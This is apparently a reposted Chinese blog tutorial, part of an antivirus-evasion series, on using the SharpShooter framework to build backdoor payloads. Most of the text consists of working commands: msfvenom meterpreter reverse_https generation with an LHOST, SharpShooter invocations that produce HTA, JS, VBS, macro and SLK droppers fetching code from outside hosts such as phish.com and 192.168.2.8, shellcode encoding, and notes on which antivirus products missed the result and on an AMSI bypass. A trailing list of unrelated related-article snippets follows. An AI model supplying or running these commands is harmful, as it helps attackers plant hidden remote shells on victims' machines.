远控免杀专题(23)-SharpShooter免杀

转载:https://mp.weixin.qq.com/s/EyvGfWXLbxkHe7liaNFhGg

免杀能力一览表

在这里插入图片描述
几点说明:

1、上表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。

2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。

3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2020.01.01),火绒版本5.0.34.16(2020.01.01),360安全卫士12.0.0.2002(2020.01.01)。

4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为免杀或杀软查杀能力的判断指标。

5、完全不必要苛求一种免杀技术能bypass所有杀软,这样的技术肯定是有的,只是没被公开,一旦公开第二天就能被杀了,其实我们只要能bypass目标主机上的杀软就足够了。

一、SharpShooter介绍

Sharpshooter,2018年开源的工具,知名度较高,基于python2开发,是比较专业的Payload生成框架,支持反沙箱、分阶段和无阶段的Payload执行,并能够生成hta、js、jse、vba、vbe、vbs、wsf等多种格式的payload,创建的Payload可用于编译执行任意C#源代码。Sharpshooter还能对Payload使用随机密钥进行RC4加密,还能检测沙箱,从而避开杀软的检测。

二、安装SharpShooter

安装比较简单,python2执行环境。

先从github上clone到本地

# git clone https://github.com/mdsecactivebreach/SharpShooter

进入SharpShooter目录,安装python依赖库


pip install -r requirements.txt

执行python sharpShooter.py即可

在这里插入图片描述

三、SharpShooter使用说明

SharpShooter支持的参数比较多,可以像垒积木一样构造不同的payload。
在这里插入图片描述

 -h, --help          帮助菜单--stageless         创建一个不分阶段的payload--dotnetver <ver>   制定dotnet的版本,2或者4--com <com>         COM 分阶段技术: 如outlook, shellbrowserwin, wmi, wscript, xslremote等--awl <awl>         使用程序白名单技术: wmic, regsvr32--awlurl <awlurl>   指定取回 XSL/SCT payload的url地址--payload <format>  Payload 类型: hta, js, jse, vbe, vbs, wsf, macro, slk--sandbox <types>   绕过沙盒技术:[1] Key to Domain (e.g. 1=CONTOSO)[2] Ensure Domain Joined[3] Check for Sandbox Artifacts[4] Check for Bad MACs[5] Check for Debugging--amsi <amsi>       使用AMSI绕过技术: amsienable--delivery <type>   分发方法: web, dns, both--rawscfile <path>  指定生成payload的shellcode--shellcode         使用内置的shellcode--scfile <path>     指定C#的shellcode的路径--refs <refs>       指定C#需要的依赖文件,如mscorlib.dll等--namespace <ns>    指定C#的Namespace,如Foo.bar--entrypoint <ep>   指定C#需要执行的方法,如Main--web <web>         指定web分发的地址--dns <dns>         指定Dns分发的地址--output <output>   输出文件的名称--smuggle           HTML内的隐藏文件--template <tpl>    指定生成html的template文件 (e.g. mcafee)

SharpSHooter支持分阶段(Staged)和无阶段(Shageless)Payload执行。分阶段执行可以使用HTTP(S)或DNS这两种方式进行传输,或者两者同时使用。当分阶段Payload被执行时,会尝试检索已经压缩的C#源代码文件,然后使用所选择的方式进行Base64编码。随后,借助.NET CodeDom编译器,将C#源代码下载,并编译到主机上。最后从源代码执行所需的方法。下图展现了SharpShooter在分阶段过程中的具体操作步骤:
在这里插入图片描述
SharpShooter的使用还算比较简单的,官方提供了各种payload的生成命令。
1、不分阶段的JavaScript


SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox 1=contoso,2,3

2、不分阶段的hta

SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --sandbox 4 --smuggle --template mcafee

3、分阶段的VBS


SharpShooter.py --payload vbs --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 4

4、使用js加载自定义C#代码


SharpShooter.py --dotnetver 2 --payload js --sandbox 2,3,4,5 --delivery web --refs mscorlib.dll,System.Windows.Forms.dll --namespace MDSec.SharpShooter --entrypoint Main --web http://www.phish.com/implant.payload --output malicious --smuggle --template mcafee

5、使用vbs调用COM方法执行wmic.exe

SharpShooter.py --stageless --dotnetver 2 --payload vbs --output foo --rawscfile ./x86payload.bin --smuggle --template mcafee --com outlook --awlurl http://192.168.2.8:8080/foo.xsl

6、创建hta调用XMLDOM来执行shellcode

SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./x86payload.bin --smuggle --template mcafee --com xslremote --awlurl http://192.168.2.8:8080/foo.xsl

7、创建VBA调用XMLDOM来执行shellcode


SharpShooter.py --stageless --dotnetver 2 --payload macro --output foo --rawscfile ./x86payload.bin --com xslremote --awlurl http://192.168.2.8:8080/foo.xsl

8、创建Excel 4.0 符号链接文件执行shellcode

SharpShooter.py --payload slk --output foo --rawscfile ~./x86payload.bin --smuggle --template mcafee

要求shellcode不能包含空字符

msfvenom -p generic/custom PAYLOADFILE=./payload.bin -a x86 --platform windows -e x86/shikata_ga_nai -f raw -o shellcode-encoded.bin -b '\x00'

四、利用SharpShooter生成后门

以一个比较简单的为例进行测试,创建一个包含后门的HTA。

要先用msfvenom生成一个raw格式的shellcode


msfvenom -a x86 -p windows/meterpreter/reverse_https LHOST=10.211.55.2 LPORT=3333 -f raw -o shellcode.txt

在这里插入图片描述
然后使用SharpShooter创建hta后门


SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./shellcode.txt --sandbox 4 --smuggle --template mcafee

在这里插入图片描述
在测试机上运行foo.hta,理论是也可以使用mshta.exe http://ip/foo.hta来执行,但我没执行成功。
在这里插入图片描述
msf中可正常上线
在这里插入图片描述
打开杀软进行测试,火绒静态和动态都可以查杀,360卫士和360杀毒没有报警。
在这里插入图片描述
又试了下SharpShooter生成的js之类的payload,查杀率也差不多,而且都被标注了Sharpshooter的病毒名称,说明SharpShooter默认生成的样本特征都已经被杀软列入特征库了。

五、SharpShooter小结

SharpShooter算是比较复杂的一个框架,支持多种payload,能在.NET框架的v2、v3和v4版本上都能执行,涵盖了绝大部分的Windows系统。但也因为SharpShooter的知名度比较高,默认生成的payload已经被查杀的比较严重,但其实现方式和思路是比较值得人学习的。

而且在2019年1月Sharpshooter加入了AMSI的bypass模板,使用参数–amsi amsienable可以使用该模块来Kill掉AMSI,感兴趣的可以试一下。

六、参考资料

官方github:https://github.com/mdsecactivebreach/SharpShooter

如何使用SharpShooter生成Payload:https://www.anquanke.com/post/id/100533

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/380084.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

MySQL 发展史

一.MySQL 标志说明MySQL的海豚标志的名字叫“sakila”&#xff0c;它是由MySQL AB的创始人从用户在“海豚命名”的竞赛中建议的大量的名字表中选出的。获胜的名字是由来自非洲斯威士兰的开源软件开发者Ambrose Twebaze提供。根据Ambrose所说&#xff0c;Sakila来自一种叫SiSwat…

远控免杀专题(24)-CACTUSTORCH免杀

转载&#xff1a;https://mp.weixin.qq.com/s/g0CYvFMsrV7bHIfTnSUJBw 免杀能力一览表 几点说明&#xff1a; 1、上表中标识 √ 说明相应杀毒软件未检测出病毒&#xff0c;也就是代表了Bypass。 2、为了更好的对比效果&#xff0c;大部分测试payload均使用msf的windows/mete…

病毒的手工排除与分析(更新完毕)

作者简介杨京涛    8年以上的IT行业经验&#xff0c;理解企业需求&#xff0c;有企业ERP软件部署规划能力&#xff0c;有综合布线网络规划和管理能力。熟悉软件以及各类硬件&#xff0c;电话程控设备&#xff0c;各类网络设备的管理维护。有编程基础,熟悉VBA、脚本、批处理…

系统固件升级_固件和操作系统之间的差异

系统固件升级固件 (Firmware) Firmware is somewhere similar to software but it is not a software. Somehow it is a modified form of software. 固件与软件相似&#xff0c;但不是软件。 不知何故&#xff0c;它是软件的修改形式。 Firmware is fixed data or code that …

cobalt strick 4.0 系列教程 (5)--- 获取立足点

https://blog.ateam.qianxin.com/CobaltStrike4.0%E7%94%A8%E6%88%B7%E6%89%8B%E5%86%8C_%E4%B8%AD%E6%96%87%E7%BF%BB%E8%AF%91.pdf 0x01 客户端 System Profiler [即探针] System Profiler 是一个为客户端攻击提供的侦察工具。这个工具启动一个本地的 web 服务器&#xff0…

frame--转载

所谓框架便是网页画面分成几个框窗&#xff0c;同时取得多个 URL。只 要 <FRAMESET> <FRAME> 即可&#xff0c;而所有框架标记 要放在一个总起的 html 档&#xff0c;这个档案只记录了该框架 如何划分&#xff0c;不会显示任何资料&#xff0c;所以不必放入 <…

cobalt strick 4.0 系列教程(6)Payload Artifact 和反病毒规避

0x01 哲学 Strategic Cyber 责任有限公司会定期回答有关规避的问题。Cobalt Strike 是否能够绕过 AV 产品&#xff1f;它能绕过哪些 AV 产品&#xff1f;它多久检查一次&#xff1f; Cobalt Strike 默认的 Artifact 可能会被大多数终端安全解决方案拦截。规避不是 Cobalt Str…

【转】企业开发的困境与变局

原文&#xff1a;企业开发的困境与变局 文 / 刘江 算起来&#xff0c;《程序员》已经有几年时间没有大篇幅讨论企业软件开发这个话题了。这其实挺奇怪的。要知道&#xff0c;按类别来分&#xff0c;国内从事企业软件开发的技术人员是最多的&#xff0c;从CSDN和《程序员》联合举…

AES算法

算法简介 AES本质是一种对称分组密码体制&#xff0c;采用代替/置换网络。每轮由三层组成&#xff1a;线性混合层确保多轮之上的高度扩散&#xff0c;非线性层由16个S盒并置起到混淆的作用&#xff0c;秘钥加密层将子秘钥异或到中间状态。 AES加密数据块和秘钥长度可以是128比…

IDA使用方法-----1

0x01 启动IDA new&#xff1a;反汇编一个新文件go&#xff1a;运行&#xff0c;直接进入IDAPrevious&#xff1a;载入一个我们以前编译过的程序 如果不想每次都看到这个对话框&#xff0c;可以取消该对话框底部的Display at startup&#xff08;启动时显示&#xff09;&#x…

objdump命令详解

objdump命令是用查看目标文件或者可执行的目标文件的构成的gcc工具。 选项 --archive-headers -a 显示档案库的成员信息,类似ls -l将lib*.a的信息列出。 -b bfdname --targetbfdname 指定目标码格式。这不是必须的&#xff0c;objdump能自动识别许多格式&#xff0c;比如…

《Pro ASP.NET MVC 3 Framework》学习笔记之四【领域模型介绍】

主题&#xff1a;应用领域驱动开发(Applying Domain-Driven Development) Domain Model是MVC程序的"心脏"&#xff0c;其他的一切&#xff0c;包括Controllers和Views仅仅是用来跟Domain Model交互的一种方式&#xff0c;ASP.NET MVC并没有限制使用在Domain Model上面…

一步一步学pwntools(适合新手)

序 pwntools是一个二进制利用框架。官方文档提供了详细的api规范。然而目前并没有一个很好的新手教程。因此我用了我过去的几篇writeup。由于本文只是用来介绍pwntools使用方法&#xff0c;我不会过于详细的讲解各种二进制漏洞攻击技术。 Pwntools的“Hello World” 栈溢出无…

标志寄存器:CF、PF、AF、ZF、SF、TF、DF、OF

注&#xff1a;下面说到的标志寄存器都是缩写&#xff0c;C就是CF&#xff0c;其他也一样 标志寄存器&#xff1a;C、P、A、Z、S、T、D、O的内容只会是0或1&#xff0c;0表示假&#xff0c;1表示真 O&#xff1a;溢出标志 一个寄存器如果存放的值超过所能表示的范围&#xf…

Firefox2狂占CPU解决办法

https://images.cnblogs.com/cnblogs_com/Tisty/138006/o_firefox3.jpg 看了一下&#xff0c;不知道 "jpeg_free_large" 是干啥的&#xff0c;遂用 "Firefox jpeg_free_large" Google 一下&#xff0c;出来的一堆东西里有帖子说可能和 Apple 的 QuickTime …

PUSHAD和POPAD,以及PUSHA和POPA

PUSHAD PUSHAD也叫保护现场&#xff0c;就是把我们的寄存器压入栈中 pushad是把eax&#xff0c;ecx&#xff0c;edx&#xff0c;ebx&#xff0c;esp、ebp&#xff0c;esi&#xff0c;edi依次压入栈中&#xff0c;ESP会减少32&#xff0c;相当于&#xff1a; push eax push ec…

MOVSX和MOVZX

MOVSX 先符号扩展,再传送 格式&#xff1a; MOVSX 操作数A &#xff0c;操作数B //操作数B的空间小于A比如说我们使用命令&#xff1a; movsx eax&#xff0c;bxbx是16位&#xff0c;eax是32位&#xff0c;传值过程&#xff1a; 先用bx的符号位把eax高16填满&#xff0c;b…

LEA与XCHG

LEA 格式&#xff1a; LEA 通用寄存器 内存地址功能&#xff1a;取地址命令 将内存地址赋值给寄存器 lea eax,dword ptr ds:[ecx0x16]dword 双字 就是四个字节ptr pointer缩写 即指针ds 数据段版寄存器[]里的数据是一个地址值&#xff0c;这个地址指向一个双字型数据 将dwo…

ADC和SBB命令

ADC 带进位加法指令 用法&#xff1a; adc 操作数1&#xff0c;操作数2相当于&#xff1a; 操作数1操作数2进位标志CF->操作数1现在的eax是0&#xff0c;C1&#xff0c;用adc指令直接会是0x6 SBB 带进位减法指令 用法&#xff1a; sbb 操作数1&#xff0c;操作数2相当…

mul和div指令(8位,16位,32位)

MUL 无符号乘法指令&#xff0c;默认操作数与eax相乘&#xff08;这里只说32位&#xff0c;其他与下面的div类似&#xff09; 格式&#xff1a; mul 操作数 //操作数只有一个操作数与eax相乘&#xff0c;结果共有16位&#xff08;这里的16位是16进制数&#xff09;&#xff…